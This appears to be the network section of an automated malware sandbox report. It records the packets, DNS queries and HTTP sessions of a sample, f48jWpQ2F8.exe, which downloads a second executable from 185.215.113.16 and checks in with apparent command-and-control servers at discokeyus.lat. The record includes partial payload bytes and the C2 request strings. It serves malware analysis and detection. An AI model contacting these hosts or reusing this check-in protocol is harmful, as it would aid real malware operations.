Dec 20, 2024 16:20:34.870680094 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.870903015 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.870917082 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.870991945 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.871896982 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.871980906 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:34.873783112 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:34.915841103 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:35.007090092 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:35.007658005 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:35.007755041 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:35.007769108 CET	80	49717	185.215.113.16	192.168.2.11
Dec 20, 2024 16:20:35.007774115 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:35.007824898 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:45.349742889 CET	49730	443	192.168.2.11	142.250.181.132
Dec 20, 2024 16:20:45.349809885 CET	443	49730	142.250.181.132	192.168.2.11
Dec 20, 2024 16:20:45.349893093 CET	49730	443	192.168.2.11	142.250.181.132
Dec 20, 2024 16:20:45.350239038 CET	49730	443	192.168.2.11	142.250.181.132
Dec 20, 2024 16:20:45.350269079 CET	443	49730	142.250.181.132	192.168.2.11
Dec 20, 2024 16:20:46.356036901 CET	49717	80	192.168.2.11	185.215.113.16
Dec 20, 2024 16:20:47.055855989 CET	443	49730	142.250.181.132	192.168.2.11
Dec 20, 2024 16:20:47.056534052 CET	49730	443	192.168.2.11	142.250.181.132
Dec 20, 2024 16:20:47.056556940 CET	443	49730	142.250.181.132	192.168.2.11
Dec 20, 2024 16:20:47.058280945 CET	443	49730	142.250.181.132	192.168.2.11
Dec 20, 2024 16:20:47.058353901 CET	49730	443	192.168.2.11	142.250.181.132
Dec 20, 2024 16:20:47.072477102 CET	49730	443	192.168.2.11	142.250.181.132
Dec 20, 2024 16:20:47.072689056 CET	443	49730	142.250.181.132	192.168.2.11
Dec 20, 2024 16:20:47.116118908 CET	49730	443	192.168.2.11	142.250.181.132
Dec 20, 2024 16:20:47.116141081 CET	443	49730	142.250.181.132	192.168.2.11
Dec 20, 2024 16:20:47.162184000 CET	49730	443	192.168.2.11	142.250.181.132
Dec 20, 2024 16:20:47.383687019 CET	49704	443	192.168.2.11	173.222.162.42
Dec 20, 2024 16:20:47.383796930 CET	49704	443	192.168.2.11	173.222.162.42
Dec 20, 2024 16:20:47.384159088 CET	49734	443	192.168.2.11	173.222.162.42
Dec 20, 2024 16:20:47.384208918 CET	443	49734	173.222.162.42	192.168.2.11
Dec 20, 2024 16:20:47.384429932 CET	49734	443	192.168.2.11	173.222.162.42
Dec 20, 2024 16:20:47.384742022 CET	49734	443	192.168.2.11	173.222.162.42
Dec 20, 2024 16:20:47.384757042 CET	443	49734	173.222.162.42	192.168.2.11
Dec 20, 2024 16:20:47.503324986 CET	443	49704	173.222.162.42	192.168.2.11
Dec 20, 2024 16:20:47.503376007 CET	443	49704	173.222.162.42	192.168.2.11
Dec 20, 2024 16:20:48.722172976 CET	443	49734	173.222.162.42	192.168.2.11
Dec 20, 2024 16:20:48.722281933 CET	49734	443	192.168.2.11	173.222.162.42
Dec 20, 2024 16:20:56.746809006 CET	443	49730	142.250.181.132	192.168.2.11
Dec 20, 2024 16:20:56.746886015 CET	443	49730	142.250.181.132	192.168.2.11
Dec 20, 2024 16:20:56.746969938 CET	49730	443	192.168.2.11	142.250.181.132
Dec 20, 2024 16:20:57.036402941 CET	49730	443	192.168.2.11	142.250.181.132
Dec 20, 2024 16:20:57.036423922 CET	443	49730	142.250.181.132	192.168.2.11
Dec 20, 2024 16:21:08.102224112 CET	443	49734	173.222.162.42	192.168.2.11
Dec 20, 2024 16:21:08.102303982 CET	49734	443	192.168.2.11	173.222.162.42
Dec 20, 2024 16:21:15.703952074 CET	49734	443	192.168.2.11	173.222.162.42
Dec 20, 2024 16:21:15.704000950 CET	443	49734	173.222.162.42	192.168.2.11
Dec 20, 2024 16:21:15.704027891 CET	49734	443	192.168.2.11	173.222.162.42
Dec 20, 2024 16:21:15.704036951 CET	443	49734	173.222.162.42	192.168.2.11
Dec 20, 2024 16:21:15.704508066 CET	49816	443	192.168.2.11	173.222.162.42
Dec 20, 2024 16:21:15.704552889 CET	443	49816	173.222.162.42	192.168.2.11
Dec 20, 2024 16:21:15.704621077 CET	49816	443	192.168.2.11	173.222.162.42
Dec 20, 2024 16:21:15.704812050 CET	49816	443	192.168.2.11	173.222.162.42
Dec 20, 2024 16:21:15.704859972 CET	443	49816	173.222.162.42	192.168.2.11
Dec 20, 2024 16:21:15.704911947 CET	49816	443	192.168.2.11	173.222.162.42
Dec 20, 2024 16:21:45.268927097 CET	49820	443	192.168.2.11	142.250.181.132
Dec 20, 2024 16:21:45.268989086 CET	443	49820	142.250.181.132	192.168.2.11
Dec 20, 2024 16:21:45.269078970 CET	49820	443	192.168.2.11	142.250.181.132
Dec 20, 2024 16:21:45.269366980 CET	49820	443	192.168.2.11	142.250.181.132
Dec 20, 2024 16:21:45.269383907 CET	443	49820	142.250.181.132	192.168.2.11
Dec 20, 2024 16:21:46.966638088 CET	443	49820	142.250.181.132	192.168.2.11
Dec 20, 2024 16:21:46.967045069 CET	49820	443	192.168.2.11	142.250.181.132
Dec 20, 2024 16:21:46.967082024 CET	443	49820	142.250.181.132	192.168.2.11
Dec 20, 2024 16:21:46.967534065 CET	443	49820	142.250.181.132	192.168.2.11
Dec 20, 2024 16:21:46.967844963 CET	49820	443	192.168.2.11	142.250.181.132
Dec 20, 2024 16:21:46.967912912 CET	443	49820	142.250.181.132	192.168.2.11
Dec 20, 2024 16:21:47.017410994 CET	49820	443	192.168.2.11	142.250.181.132
Dec 20, 2024 16:21:56.660716057 CET	443	49820	142.250.181.132	192.168.2.11
Dec 20, 2024 16:21:56.660835028 CET	443	49820	142.250.181.132	192.168.2.11
Dec 20, 2024 16:21:56.660914898 CET	49820	443	192.168.2.11	142.250.181.132
Dec 20, 2024 16:21:58.038829088 CET	49820	443	192.168.2.11	142.250.181.132
Dec 20, 2024 16:21:58.038862944 CET	443	49820	142.250.181.132	192.168.2.11

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 16:19:57.774868965 CET	50234	53	192.168.2.11	1.1.1.1
Dec 20, 2024 16:19:57.994894981 CET	53	50234	1.1.1.1	192.168.2.11
Dec 20, 2024 16:19:58.000329018 CET	63123	53	192.168.2.11	1.1.1.1
Dec 20, 2024 16:19:58.140291929 CET	53	63123	1.1.1.1	192.168.2.11
Dec 20, 2024 16:19:58.144315958 CET	62959	53	192.168.2.11	1.1.1.1
Dec 20, 2024 16:19:58.460792065 CET	53	62959	1.1.1.1	192.168.2.11
Dec 20, 2024 16:20:37.969146967 CET	138	138	192.168.2.11	192.168.2.255
Dec 20, 2024 16:20:41.206222057 CET	53	60969	1.1.1.1	192.168.2.11
Dec 20, 2024 16:20:41.223143101 CET	53	63840	1.1.1.1	192.168.2.11
Dec 20, 2024 16:20:43.964859009 CET	53	61367	1.1.1.1	192.168.2.11
Dec 20, 2024 16:20:45.208122969 CET	49602	53	192.168.2.11	1.1.1.1
Dec 20, 2024 16:20:45.208421946 CET	61540	53	192.168.2.11	1.1.1.1
Dec 20, 2024 16:20:45.345499992 CET	53	61540	1.1.1.1	192.168.2.11
Dec 20, 2024 16:20:45.347347021 CET	53	49602	1.1.1.1	192.168.2.11
Dec 20, 2024 16:20:49.462733030 CET	51321	53	192.168.2.11	1.1.1.1
Dec 20, 2024 16:20:49.462877989 CET	50948	53	192.168.2.11	1.1.1.1
Dec 20, 2024 16:20:52.839878082 CET	60532	53	192.168.2.11	1.1.1.1
Dec 20, 2024 16:20:52.840033054 CET	50719	53	192.168.2.11	1.1.1.1
Dec 20, 2024 16:20:57.428489923 CET	53	53645	1.1.1.1	192.168.2.11
Dec 20, 2024 16:20:59.156783104 CET	62322	53	192.168.2.11	1.1.1.1
Dec 20, 2024 16:20:59.158508062 CET	61643	53	192.168.2.11	1.1.1.1
Dec 20, 2024 16:21:01.282341003 CET	53	65268	1.1.1.1	192.168.2.11
Dec 20, 2024 16:21:20.126220942 CET	53	53331	1.1.1.1	192.168.2.11
Dec 20, 2024 16:21:40.783714056 CET	53	56396	1.1.1.1	192.168.2.11
Dec 20, 2024 16:21:42.895564079 CET	53	59471	1.1.1.1	192.168.2.11

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 20, 2024 16:20:41.344415903 CET	192.168.2.11	1.1.1.1	c279	(Port unreachable)	Destination Unreachable
Dec 20, 2024 16:20:49.891444921 CET	192.168.2.11	1.1.1.1	c2c8	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 16:19:57.774868965 CET	192.168.2.11	1.1.1.1	0xbcde	Standard query (0)	rapeflowwj.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:19:58.000329018 CET	192.168.2.11	1.1.1.1	0x5de9	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:19:58.144315958 CET	192.168.2.11	1.1.1.1	0x3292	Standard query (0)	discokeyus.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:20:45.208122969 CET	192.168.2.11	1.1.1.1	0x2fd0	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:20:45.208421946 CET	192.168.2.11	1.1.1.1	0xed7e	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 20, 2024 16:20:49.462733030 CET	192.168.2.11	1.1.1.1	0xbb06	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:20:49.462877989 CET	192.168.2.11	1.1.1.1	0x9aee	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 20, 2024 16:20:52.839878082 CET	192.168.2.11	1.1.1.1	0x1a08	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:20:52.840033054 CET	192.168.2.11	1.1.1.1	0x9377	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 20, 2024 16:20:59.156783104 CET	192.168.2.11	1.1.1.1	0x45f1	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:20:59.158508062 CET	192.168.2.11	1.1.1.1	0xb502	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 16:19:57.994894981 CET	1.1.1.1	192.168.2.11	0xbcde	Name error (3)	rapeflowwj.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:19:58.140291929 CET	1.1.1.1	192.168.2.11	0x5de9	Name error (3)	grannyejh.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:19:58.460792065 CET	1.1.1.1	192.168.2.11	0x3292	No error (0)	discokeyus.lat		104.21.21.99	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:19:58.460792065 CET	1.1.1.1	192.168.2.11	0x3292	No error (0)	discokeyus.lat		172.67.197.170	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:20:45.345499992 CET	1.1.1.1	192.168.2.11	0xed7e	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 20, 2024 16:20:45.347347021 CET	1.1.1.1	192.168.2.11	0x2fd0	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:20:49.601079941 CET	1.1.1.1	192.168.2.11	0xa43f	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:20:49.602040052 CET	1.1.1.1	192.168.2.11	0xbb06	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:20:49.602040052 CET	1.1.1.1	192.168.2.11	0xbb06	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:20:49.602040052 CET	1.1.1.1	192.168.2.11	0xbb06	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:20:49.602040052 CET	1.1.1.1	192.168.2.11	0xbb06	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:20:49.891360044 CET	1.1.1.1	192.168.2.11	0x9aee	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:20:49.891360044 CET	1.1.1.1	192.168.2.11	0x9aee	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:20:49.983721972 CET	1.1.1.1	192.168.2.11	0x4bd9	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:20:49.983721972 CET	1.1.1.1	192.168.2.11	0x4bd9	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:20:49.983721972 CET	1.1.1.1	192.168.2.11	0x4bd9	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:20:52.592365980 CET	1.1.1.1	192.168.2.11	0x4a83	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:20:52.592365980 CET	1.1.1.1	192.168.2.11	0x4a83	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:20:52.592365980 CET	1.1.1.1	192.168.2.11	0x4a83	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:20:52.592715979 CET	1.1.1.1	192.168.2.11	0xf27b	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:20:52.977957010 CET	1.1.1.1	192.168.2.11	0x9377	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:20:52.977957010 CET	1.1.1.1	192.168.2.11	0x9377	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:20:52.978791952 CET	1.1.1.1	192.168.2.11	0x1a08	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:20:52.978791952 CET	1.1.1.1	192.168.2.11	0x1a08	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:20:52.978791952 CET	1.1.1.1	192.168.2.11	0x1a08	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:20:52.978791952 CET	1.1.1.1	192.168.2.11	0x1a08	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:20:59.390698910 CET	1.1.1.1	192.168.2.11	0xb502	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:20:59.594762087 CET	1.1.1.1	192.168.2.11	0x45f1	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:21:03.659375906 CET	1.1.1.1	192.168.2.11	0xa61b	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:21:03.659791946 CET	1.1.1.1	192.168.2.11	0xe6d5	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:21:10.307722092 CET	1.1.1.1	192.168.2.11	0x7b60	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:21:10.307739973 CET	1.1.1.1	192.168.2.11	0x6775	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

discokeyus.lat

https:

js.monitor.azure.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49717	185.215.113.16	80	7456	C:\Users\user\Desktop\f48jWpQ2F8.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:20:29.028990030 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 20, 2024 16:20:30.377217054 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 15:20:29 GMT Content-Type: application/octet-stream Content-Length: 2790400 Last-Modified: Fri, 20 Dec 2024 14:40:36 GMT Connection: keep-alive ETag: "676581e4-2a9400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 bc 64 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +d+`Ui`D @ @ @.rsrcD``@.idata f@hbdyruff *h@jiwaszqf n@.taggant@"r*@
Dec 20, 2024 16:20:30.377336025 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:20:30.377348900 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:20:30.377652884 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:20:30.377667904 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:20:30.377686024 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:20:30.377697945 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:20:30.378228903 CET	1236	IN	Data Raw: 89 2a 3b 0e 5e 0c 5e ee 4d 0b 44 0e a6 1c 44 0e 80 2a 40 0e 5e 0c 5e 10 a6 0e 44 0e 84 2c 5a 0e 5e 1f 54 0b 5e 6d 44 0e 5e 0f 44 0e 87 2a 2d 0e 5e 08 c6 e1 5d 12 3a 14 81 1c 38 f3 c4 0b 3c 64 8c 09 15 e6 5d 12 3a bc 78 12 44 be a5 19 44 0e 80 46 Data Ascii: ;^^MDD@^^D,Z^T^mD^D-^]:8<d]:xDDFWD26X2DEC?^^Dj^\^><YD(D^T^rD^D-^]:8<d]:VDDF\D26X2DEC?^^D*@^^uZ8
Dec 20, 2024 16:20:30.378241062 CET	1236	IN	Data Raw: 85 0c 44 ca 83 ec 39 10 5e 01 3c 38 7f 0c 44 98 81 04 3b 10 5e 6d 3e 38 7f 0c 44 54 81 04 3b 10 5e 65 3b 3c 81 08 44 90 81 be 39 10 5e 1c 39 14 5e 0c 44 01 7f 04 3b 10 5e 71 3d 38 7f 0c 44 3a 84 04 3b 10 5e c5 39 38 7f 0c 44 d6 59 39 3c 10 5e 6e Data Ascii: D9^<8D;^m>8DT;^e;<D9^9^D;^q=8D:;^98DY9<^n<8DD^x<^DYD^?8D^D^D^DW"DP:]D^C^I=0MD^D^"D*4<]D^C^:^qD^DWDD]%D]C^=^qD^DWDgD]D]C^@^qD]DWDWD
Dec 20, 2024 16:20:30.378257990 CET	1236	IN	Data Raw: 5e 79 44 6f 80 22 44 8d 57 ab 39 10 5e 99 42 6f 80 18 44 55 57 ab 39 10 5e 89 44 6f 80 0c 44 75 57 ab 39 0d 5e d9 42 fd 7e 29 44 25 57 47 39 fa 5d f1 42 c0 7e 40 44 7d 57 2e 3a cd 5d c1 42 62 84 4b 44 35 57 47 39 d3 5d c1 42 1a 83 61 44 3d 57 e1 Data Ascii: ^yDo"DW9^BoDUW9^DoDuW9^B~)D%WG9]B~@D}W.:]BbKD5WG9]BaD=W=]BnDEW9]BDEW<WCDmW9^D^D^&DWD^B^DfWD]B^2DlWD]B^*DWD]B^BD}WD]B^VDoWD]B^NDzWD]B^bDoWD]B^ZD@WD]B^rDNWD
Dec 20, 2024 16:20:30.496879101 CET	1236	IN	Data Raw: ca 63 00 d5 c3 59 25 cc cc 63 f0 a6 98 63 f6 cf be 4b 44 db c2 60 ee d4 98 4d 25 dd b2 4d f2 a4 bc 4f f5 d7 c3 49 fd 0d c9 4f 25 d9 96 64 03 cf c2 60 25 da cc 4f f9 0d c9 4d f2 9f be 4f ff a6 c2 60 f2 d6 c7 73 01 dc be 5e fb ca 96 66 44 db c2 60 Data Ascii: cY%ccKD`M%MOIO%d`%OMO`s^fD`M%`dQMO_NdO`]_IO`]_N\sbD`M%`s\]_ILs^NMMOO_D`M%f%

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.11	49706	104.21.21.99	443	7456	C:\Users\user\Desktop\f48jWpQ2F8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:20:00 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: discokeyus.lat
2024-12-20 15:20:00 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 15:20:01 UTC	1130	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 15:20:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hlqlg6gf6ud1sh520qtu03380m; expires=Tue, 15 Apr 2025 09:06:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wgVJNgUq%2FyTF%2F9CudPGPVsWZDoIMkS%2FnJt7EGferIm6VoAer0H0sLCKqqsYratxXqWWfHt9g1%2FMJBjauFcOBXu3RfNTqmVh28yHdoJctXyB7ObKrkcO5OaAwdEEmhe%2Fpuw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f509d299d8d42ca-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1609&min_rtt=1607&rtt_var=608&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2831&recv_bytes=905&delivery_rate=1793611&cwnd=252&unsent_bytes=0&cid=79c7ce4f08506aa6&ts=2183&x=0"
2024-12-20 15:20:01 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 15:20:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49707	104.21.21.99	443	7456	C:\Users\user\Desktop\f48jWpQ2F8.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 15:20:03 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: discokeyus.lat
2024-12-20 15:20:03 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
